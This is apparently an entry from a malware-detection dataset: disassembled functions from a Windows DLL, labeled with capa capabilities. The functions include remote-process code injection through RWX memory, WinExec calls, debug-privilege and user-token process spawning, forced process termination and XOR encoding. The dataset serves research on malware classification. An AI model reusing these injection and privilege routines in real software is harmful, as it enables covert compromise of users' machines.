joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003fd2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x100159d8
push 0x10015054
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [ebp - 4], eax
call fcn.10003eb2
push dword [ebp + 8]
call fcn.10008f7a
pop ecx
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp + 8], eax
jne 0x10004026
xor al, al
jmp 0x100041ac
push 0xf4
lea eax, [ebp - 0xfc]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100150c0
call edi
mov ebx, eax
push 0x100159c8
push ebx
call esi
push 0x100159b8
push ebx
mov dword [ebp - 0xfc], eax
call esi
push 0x100159a4
push ebx
mov dword [ebp - 0xf8], eax
call esi
push 0x10015994
push ebx
mov dword [ebp - 0xf4], eax
call esi
push 0x10015984
push ebx
mov dword [ebp - 0xf0], eax
call esi
push 0x10015974
push ebx
mov dword [ebp - 0xec], eax
call esi
push 0x10015960
push ebx
mov dword [ebp - 0xe8], eax
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0xe4], eax
call ebx
push 0x10015954
call edi
push 0x10015944
push eax
mov dword [ebp - 8], eax
call esi
push dword [ebp - 8]
mov dword [ebp - 0xe0], eax
call ebx
push 0x10015054
call edi
mov edi, eax
push 0x1001593c
push edi
call esi
push 0x10015930
push edi
mov dword [ebp - 0xd8], eax
call esi
push edi
mov dword [ebp - 0xdc], eax
call ebx
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xd0]
push eax
call esi
lea eax, [ebp - 0x6c]
push 0x1001590c
push eax
call esi
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, 0x1000
push 4
mov ebx, 0xf4
push edi
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [ebp + 8]
call esi
test eax, eax
mov dword [ebp + 0xc], eax
je 0x1000401f
push 0
lea ecx, [ebp - 0xfc]
push ebx
push ecx
push eax
push dword [ebp + 8]
call dword [0x10017788]
test eax, eax
je 0x1000401f
push 0x40
push edi
mov edi, 0x2800
xor ebx, ebx
push edi
push ebx
push dword [ebp + 8]
call esi
mov esi, eax
cmp esi, ebx
je 0x1000401f
push ebx
push edi
push 0x10003f2a
push esi
push dword [ebp + 8]
call dword [0x10017788]
test eax, eax
je 0x1000401f
push ebx
push ebx
push dword [ebp + 0xc]
push esi
push ebx
push ebx
push dword [ebp + 8]
call dword [ebp - 4]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100043c6
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
mov esi, 0x10017768
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [0x100177e4]
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push dword [ebp + 0x10]
call fcn.100042cc
pop ecx
cmp eax, ebx
pop ecx
je 0x100044de
mov edi, dword [ebp + 8]
cmp eax, 1
je 0x10004469
cmp eax, 2
je 0x10004469
cmp eax, 3
je 0x10004469
cmp eax, 4
jne 0x100044b0
lea eax, [ebp - 0x108]
push ebx
push eax
lea eax, [edi + 4]
push eax
call fcn.10004870
add esp, 0xc
test eax, eax
je 0x100044de
mov esi, 0x10015264
push ebx
push esi
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push esi
push dword [edi]
call dword [0x10017760]
jmp 0x100044b0
push dword [ebp - 4]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.1000434c
add esp, 0x10
cmp eax, ebx
mov dword [ebp + 0x10], eax
je 0x100044de
lea eax, [ebp - 0x108]
lea esi, [edi + 4]
push ebx
push eax
push esi
call fcn.10004870
add esp, 0xc
test eax, eax
je 0x100044de
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [esi]
call dword [0x10017760]
cmp eax, 0xffffffff
je 0x100044de
cmp dword [edi], ebx
je 0x100044de
cmp dword [edi + 4], ebx
je 0x100044de
lea eax, [ebp - 8]
push eax
push ebx
push edi
push 0x10005061
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
je 0x100044d9
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
pop eax
jmp 0x100044e0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004ced
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push ebx
lea eax, [ebp - 0x1a4]
push edi
push eax
push 0x202
call dword [fcn.10017418]
test eax, eax
je 0x10004d14
xor eax, eax
pop edi
pop ebx
leave
ret
push 6
push 1
push 2
call dword [0x100173fc]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10004d0e
xor eax, eax
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ax, word [0x10017750]
mov word [ebp - 0x10], 2
push eax
call dword [0x10017404]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
xor edi, edi
push eax
push ebx
mov dword [ebp - 0xc], edi
call dword [0x10017408]
cmp eax, 0xffffffff
je 0x10004d0e
push esi
push 0x32
push ebx
call dword [0x10017748]
cmp eax, 0xffffffff
jne 0x10004d73
xor eax, eax
pop esi
jmp 0x10004d10
push edi
push edi
push ebx
call dword [0x10017754]
push 8
mov esi, eax
call dword [sym.imp.MSVCRT.dll_malloc]
cmp eax, edi
pop ecx
je 0x10004d73
lea ecx, [ebp - 0x14]
mov dword [eax], esi
push ecx
push edi
push eax
push 0x10004a49
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
jne 0x10004db1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10004d73
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10004d73
Function at 0x100056bc
Capabilities:
Create thread

Disassembly:
mov eax, 0x1001077b
call fcn.1000fed4
mov eax, 0x1038
call fcn.1000ff00
or dword [ebp - 0x1018], 0xffffffff
push esi
push edi
xor esi, esi
push 0x1030
lea eax, [ebp - 0x1044]
push esi
push eax
mov dword [ebp - 0x1044], 0x10011280
call sub.MSVCRT.dll_memset
push dword [ebp + 0x10]
lea eax, [ebp - 0x1040]
mov dword [ebp - 4], esi
push 0x10015170
push 0x20
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
push dword [ebp + 0xc]
mov ax, word [ebp + 0x14]
mov word [ebp - 0x1020], ax
push dword [ebp + 8]
call fcn.10005609
mov edi, eax
add esp, 0x24
cmp edi, esi
jbe 0x100057a5
mov dword [ebp - 0x101c], edi
push esi
lea eax, [ebp - 0xe]
push 2
push eax
push edi
call dword [0x10017758]
test eax, eax
jle 0x100057a5
inc dword [0x100177ec]
cmp dword [ebp - 0x1018], 0x800
jge 0x10005772
inc dword [ebp - 0x1018]
mov ecx, dword [ebp - 0x1018]
mov ax, word [ebp - 0xe]
mov word [ebp + ecx*2 - 0x1014], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1044]
push esi
push eax
push 0x10005642
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
je 0x10005798
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10005736
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10005736
push edi
call dword [fcn.100173dc]
mov ecx, dword [ebp - 0xc]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x10005a22
Capabilities:
Enumerate processes

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, 0x128
mov dword [esp + 0x10], eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
push edi
push dword [esp + 0x14]
mov dword [edi], esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10005aa3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x10005aa3
push dword [esp + 0x18]
mov esi, dword [sym.imp.MSVCRT.dll__strupr]
lea ebx, [edi + 0x24]
call esi
pop ecx
push eax
push ebx
call esi
mov ebp, dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
push eax
jmp 0x10005a96
push edi
push dword [esp + 0x14]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10005aa3
push dword [esp + 0x18]
call esi
pop ecx
push eax
push ebx
call esi
pop ecx
push eax
call ebp
pop ecx
test eax, eax
pop ecx
jbe 0x10005a7b
push 1
pop eax
jmp 0x10005aa5
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10005e1e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, 0x10015ae0
push edi
call sub.MSVCRT.dll_strlen
mov esi, 0x10015ac4
mov ebx, eax
push esi
call sub.MSVCRT.dll_strlen
lea eax, [ebx + eax + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
push esi
push ebx
call sub.MSVCRT.dll_strcpy
push edi
push ebx
call sub.MSVCRT.dll_strcat
add esp, 0x1c
lea eax, [ebp - 0x34]
push 0x32
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x34]
push 0x10015ac0
push eax
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
mov esi, 0x10017794
test eax, eax
pop ecx
je 0x10005e8e
push eax
push ebx
push esi
call dword [fcn.100173a8]
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005e95
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
mov edi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
lea eax, [ebp - 0x114]
push 0x10015b50
push eax
call dword [fcn.100173a8]
add esp, 0x20
lea eax, [ebp - 0x114]
push eax
call fcn.10005e1e
push eax
call fcn.10005daf
xor ebx, ebx
push 4
lea eax, [ebp - 0x114]
push ebx
push eax
call fcn.10005de5
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 0x14
push ebx
push 0x10015b28
call esi
push ebx
push 0x10015b14
call esi
push ebx
push 0x10015b00
call esi
cmp dword [edi + 0x9e54], 0x120
lea eax, [edi + 0x10]
push eax
je 0x10005f41
push 0x10015af0
call fcn.10003fd2
pop ecx
jmp 0x10005f46
call fcn.10002fa8
pop ecx
add edi, 0x110
push edi
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006f2c
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x10010836
call fcn.1000fed4
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x88]
call fcn.1000665d
mov edx, dword [ebp + 8]
xor edi, edi
mov eax, edx
mov dword [ebp - 4], edi
dec eax
mov dword [esi], 0x100112c0
je 0x10006f78
sub eax, 3
je 0x10006f78
sub eax, 4
je 0x10006f78
push 8
pop ecx
sub eax, ecx
je 0x10006f78
sub eax, 0x10
je 0x10006f78
mov dword [esi + 0x70], ecx
jmp 0x10006f7b
mov dword [esi + 0x70], edx
mov ecx, esi
call fcn.10007675
test al, al
jne 0x10006f9c
call dword [fcn.10017334]
push eax
mov dword [esi + 0x10c], eax
call dword [fcn.10017338]
mov dword [esi + 0x44], eax
mov dword [esi + 0x10], 0xcc0020
mov byte [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp + 0x10]
mov dword [esi + 0x14], eax
mov eax, 0x3e8
xor edx, edx
div ecx
mov ebx, dword [0x10017394]
push edi
mov dword [esi + 8], ecx
mov dword [esi + 0x18], eax
mov al, byte [ebp + 0xc]
mov byte [esi + 0xc], al
call ebx
push 1
mov dword [esi + 0x28], eax
call ebx
push 0x20
mov dword [esi + 0x2c], eax
pop eax
mov ebx, dword [0x100172c8]
cdq
idiv dword [esi + 0x70]
push dword [esi + 0x44]
mov dword [esi + 0x30], edi
mov byte [esi + 0x24], al
call ebx
push dword [esi + 0x44]
mov dword [esi + 0x4c], eax
call ebx
push edi
mov dword [esi + 0x80], eax
call ebx
push edi
mov dword [esi + 0x48], eax
call ebx
push 1
lea ebx, [esi + 0x5c]
push dword [esi + 0x28]
mov ecx, esi
mov dword [esi + 0x50], eax
mov dword [ebx], edi
push dword [esi + 0x70]
mov dword [esi + 0x60], edi
call fcn.10007429
push dword [esi + 0x2c]
mov ecx, esi
mov dword [esi + 0x64], eax
push dword [esi + 0x28]
push dword [esi + 0x70]
call fcn.10007429
push 1
mov ecx, esi
push dword [esi + 0x28]
mov dword [esi + 0x68], eax
push dword [esi + 0x70]
call fcn.10007429
push edi
push edi
push ebx
mov ebx, dword [fcn.100172cc]
push edi
mov dword [esi + 0x6c], eax
push dword [esi + 0x64]
push dword [esi + 0x44]
call ebx
mov dword [esi + 0x54], eax
push edi
lea eax, [esi + 0x60]
push edi
push eax
push edi
push dword [esi + 0x68]
push dword [esi + 0x44]
call ebx
mov dword [esi + 0x58], eax
push edi
lea eax, [esi + 0x78]
push edi
push eax
push edi
push dword [esi + 0x68]
push dword [esi + 0x44]
call ebx
push dword [esi + 0x58]
mov ebx, dword [fcn.100172c4]
mov dword [esi + 0x84], eax
push dword [esi + 0x4c]
call ebx
push dword [esi + 0x54]
push dword [esi + 0x48]
call ebx
push dword [esi + 0x84]
push dword [esi + 0x80]
call ebx
push dword [esi + 0x2c]
lea eax, [esi + 0x34]
push dword [esi + 0x28]
push edi
push edi
push eax
call dword [0x1001733c]
mov eax, dword [esi + 0x68]
mov eax, dword [eax + 0x14]
shl eax, 1
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x68]
xor edx, edx
pop ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xc]
div dword [esi + 0x2c]
mov dword [esi + 0x20], edi
pop edi
mov dword [esi + 0x74], eax
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc
Function at 0x100071b2
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
mov esi, ecx
je 0x100072e0
cmp dword [esi + 0x1c], 0
je 0x100072e0
call fcn.10007675
and dword [esi + 0x20], 0
lea edi, [esi + 4]
push 1
push edi
mov ecx, esi
call fcn.10007520
lea eax, [ebp - 8]
push eax
call dword [0x1001732c]
lea eax, [ebp - 8]
push 8
push eax
mov ecx, esi
call fcn.10007520
lea ecx, [esi + 0x88]
call fcn.100072e9
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
call fcn.10007520
cmp byte [edi], 2
jne 0x1000725b
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 8]
push dword [eax + 4]
push dword [esi + 0x44]
push dword [esi + 0x80]
call fcn.100076ae
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 0x14]
mov eax, dword [esi + 0x20]
add eax, dword [esi + 0x1c]
push eax
push dword [esi + 0x60]
push dword [esi + 0x78]
call fcn.100076fa
add eax, dword [esi + 0x20]
mov dword [ebx], eax
jmp 0x100072db
mov eax, dword [ebp - 4]
lea edi, [eax - 0x13]
test edi, edi
jge 0x10007267
xor edi, edi
cmp eax, dword [0x10017ef0]
je 0x10007280
push edi
mov ecx, esi
call fcn.1000733f
test al, al
je 0x10007280
add edi, 0x13
jmp 0x10007283
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x10007299
push edi
mov ecx, esi
call fcn.1000733f
test al, al
je 0x1000727b
add edi, 0x13
jmp 0x1000727b
mov eax, dword [ebp - 4]
push 0x13
mov dword [0x10017ef0], eax
mov eax, dword [esi + 0x30]
add eax, 3
pop ecx
cdq
idiv ecx
mov eax, dword [esi + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x30], edx
mov dword [ebx], eax
lea ebx, [esi + 0x14]
call edi
sub eax, dword [ebx]
cmp eax, dword [esi + 0x18]
jae 0x100072d1
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100072be
call edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
jmp 0x100072e2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x100079b0
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov esi, ecx
push 0
push dword [esi + 0x28]
mov dword [esi], 0x100112c4
call edi
push 0
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push dword [esi + 0x24]
call edi
push 0x7d0
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [esi + 0x2c]
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x100079fe
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x10007a08
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x10007a12
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x10007a1c
push eax
call edi
push dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x14]
call edi
push dword [esi + 0x18]
call edi
push dword [esi + 0x1c]
call edi
push dword [esi + 0x20]
call edi
push dword [esi + 0x24]
call edi
push dword [esi + 0x2c]
call edi
push dword [esi + 0x28]
call edi
mov ecx, esi
call fcn.10005fd0
pop edi
pop esi
ret

Function at 0x10007c93
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.10007b5f
pop ecx
xor edx, edx
test eax, eax
pop ecx
jle 0x10007cc6
mov ecx, dword [ebp - 4]
add byte [ecx + edx], 0x7a
add ecx, edx
mov ecx, dword [ebp - 4]
xor byte [ecx + edx], 0x19
add ecx, edx
inc edx
cmp edx, eax
jl 0x10007caf
mov eax, dword [ebp - 4]
leave
ret
Function at 0x10008063
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x524
and byte [ebp - 0x16e], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
lea eax, [ebp - 0x258]
mov edi, 0x9c
push eax
mov byte [ebp - 0x25c], 0x66
mov dword [ebp - 0x258], edi
call esi
lea eax, [ebp - 0x524]
push pe_nt_image_headers32
push eax
push dword [ebp + 8]
call fcn.10007fac
push 0x10
lea eax, [ebp - 0x14]
pop ebx
push ebx
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp + 0xc]
push dword [eax + 0xa8]
call dword [0x100173d8]
lea eax, [ebp - 0x10]
push 4
push eax
lea eax, [ebp - 0x1a4]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x524]
push 0x32
push eax
lea eax, [ebp - 0x1a0]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
mov dword [ebp - 0x168], 1
call fcn.10007f2a
mov dword [ebp - 0x1bc], eax
lea eax, [ebp - 0x2f8]
push eax
mov dword [ebp - 0x2f8], edi
call esi
cmp dword [ebp - 0x2f4], 5
mov esi, dword [fcn.100173a8]
mov edi, 0x10015b64
jne 0x10008156
cmp dword [ebp - 0x2f0], 0
jne 0x10008156
lea eax, [ebp - 0x1b8]
push 0x100158ac
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x10008170
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push dword [ebp - 0x24]
lea eax, [ebp - 0x1b8]
push edi
push eax
call esi
add esp, 0xc
call fcn.10007f77
mov ebx, dword [ebp + 0x10]
mov byte [ebp - 0x16e], al
mov dword [ebp - 0x16c], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp + 8], eax
mov ecx, 0x5265c00
cdq
idiv ecx
push eax
lea eax, [ebp - 0x3c0]
push edi
push eax
call esi
mov eax, dword [ebp + 8]
mov ecx, 0x5265c00
cdq
idiv ecx
mov ecx, 0x36ee80
mov eax, edx
mov dword [ebp + 8], eax
cdq
idiv ecx
push eax
lea eax, [ebp - 0x35c]
push edi
push eax
call esi
mov eax, dword [ebp + 8]
mov ecx, 0x36ee80
cdq
idiv ecx
mov ecx, 0xea60
mov eax, edx
cdq
idiv ecx
push eax
lea eax, [ebp - 0x424]
push edi
push eax
call esi
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x3c0]
push eax
lea eax, [ebp - 0x164]
push 0x10015ccc
push eax
call esi
mov ecx, dword [ebp + 0xc]
add esp, 0x38
lea eax, [ebp - 0x25c]
mov dword [ebp - 0x16c], ebx
push 0x224
push eax
call fcn.10001bd0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10008228
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push esi
xor esi, esi
push 0x10015d08
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, esi
jne 0x10008256
xor eax, eax
jmp 0x100083ab
push ebx
push edi
push 0x10015ce8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x18], eax
push ecx
push eax
call sub.WTSAPI32.dll_WTSQueryUserToken
push 0x30
lea eax, [ebp - 0x84]
pop ebx
push 0x44
pop edi
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x40]
push esi
push eax
mov dword [ebp - 0x84], edi
mov dword [ebp - 0x7c], 0x10015cd8
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0xc]
push eax
push 0x201eb
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [fcn.10017254]
test eax, eax
je 0x10008379
lea eax, [ebp - 0x20]
push eax
push 0x100158e4
push esi
call dword [fcn.10017258]
test eax, eax
je 0x10008379
mov eax, dword [ebp - 0x20]
push 1
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
pop edi
lea eax, [ebp - 8]
mov dword [ebp - 0x30], edi
push eax
push edi
push edi
push esi
push 0x2000000
mov dword [ebp - 0x24], 2
push dword [ebp - 0xc]
call dword [0x10017218]
test eax, eax
je 0x10008379
lea eax, [ebp - 0x18]
push 4
push eax
push 0xc
push dword [ebp - 8]
call dword [0x1001721c]
test eax, eax
je 0x10008379
push esi
push esi
lea eax, [ebp - 0x30]
push 0x10
push eax
push esi
push dword [ebp - 8]
call dword [fcn.1001725c]
test eax, eax
je 0x10008379
push edi
lea eax, [ebp - 0x14]
push dword [ebp - 8]
mov dword [ebp - 0x14], esi
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x10008352
mov ebx, 0x430
jmp 0x10008355
mov dword [ebp - 0x14], esi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x84]
push eax
push esi
push dword [ebp - 0x14]
push ebx
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push dword [ebp - 8]
call dword [0x10017220]
test eax, eax
jne 0x10008382
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x10], esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x10008392
push dword [ebp - 0x10]
call edi
cmp dword [ebp - 8], esi
je 0x1000839c
push dword [ebp - 8]
call edi
cmp dword [ebp - 0xc], esi
je 0x100083a6
push dword [ebp - 0xc]
call edi
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x100087eb
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, 0x104
mov esi, 0x10017f00
push edi
push dword [ebx]
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
push edi
push dword [ebx]
push esi
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000895d
push esi
call dword [0x10017214]
xor ebx, ebx
mov dword [0x10017efc], eax
cmp eax, ebx
je 0x10008910
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push ebx
push 2
call fcn.10008915
push ebx
push ebx
push 4
call fcn.10008915
push esi
call fcn.100033af
add esp, 0x1c
mov dword [0x10017ef4], eax
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 6
jae 0x10008892
push ebx
push ebx
push ebx
push esi
push sym.Pache.dll_main
push ebx
push ebx
call fcn.10008f19
add esp, 0x1c
jmp 0x100088ce
lea eax, [ebp - 0x298]
push edi
push eax
push dword [0x1001800c]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x194]
push 0x10015d3c
push eax
call dword [fcn.100173a8]
add esp, 0xc
lea eax, [ebp - 0x194]
push eax
call fcn.10008228
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
mov eax, dword [0x10018004]
cmp eax, 3
je 0x100088e7
cmp eax, 1
jne 0x100088d4
push 0xffffffffffffffff
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x10017ef4], 0x120
jne 0x10008910
push 0x2710
call esi
jmp 0x10008907
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10008ac1
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, 0x100158e4
push 1
mov dword [ebp - 4], ecx
push ebx
call fcn.10008d22
xor esi, esi
pop ecx
cmp dword [ebp + 0xc], esi
pop ecx
jbe 0x10008b0f
push edi
mov eax, dword [ebp + 8]
push dword [esi + eax]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, dword [ebp + 0xc]
jb 0x10008ae1
pop edi
push 0
push ebx
call fcn.10008d22
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.10008a6f
mov ecx, dword [ebp - 4]
call fcn.10008a98
pop esi
pop ebx
leave
ret 8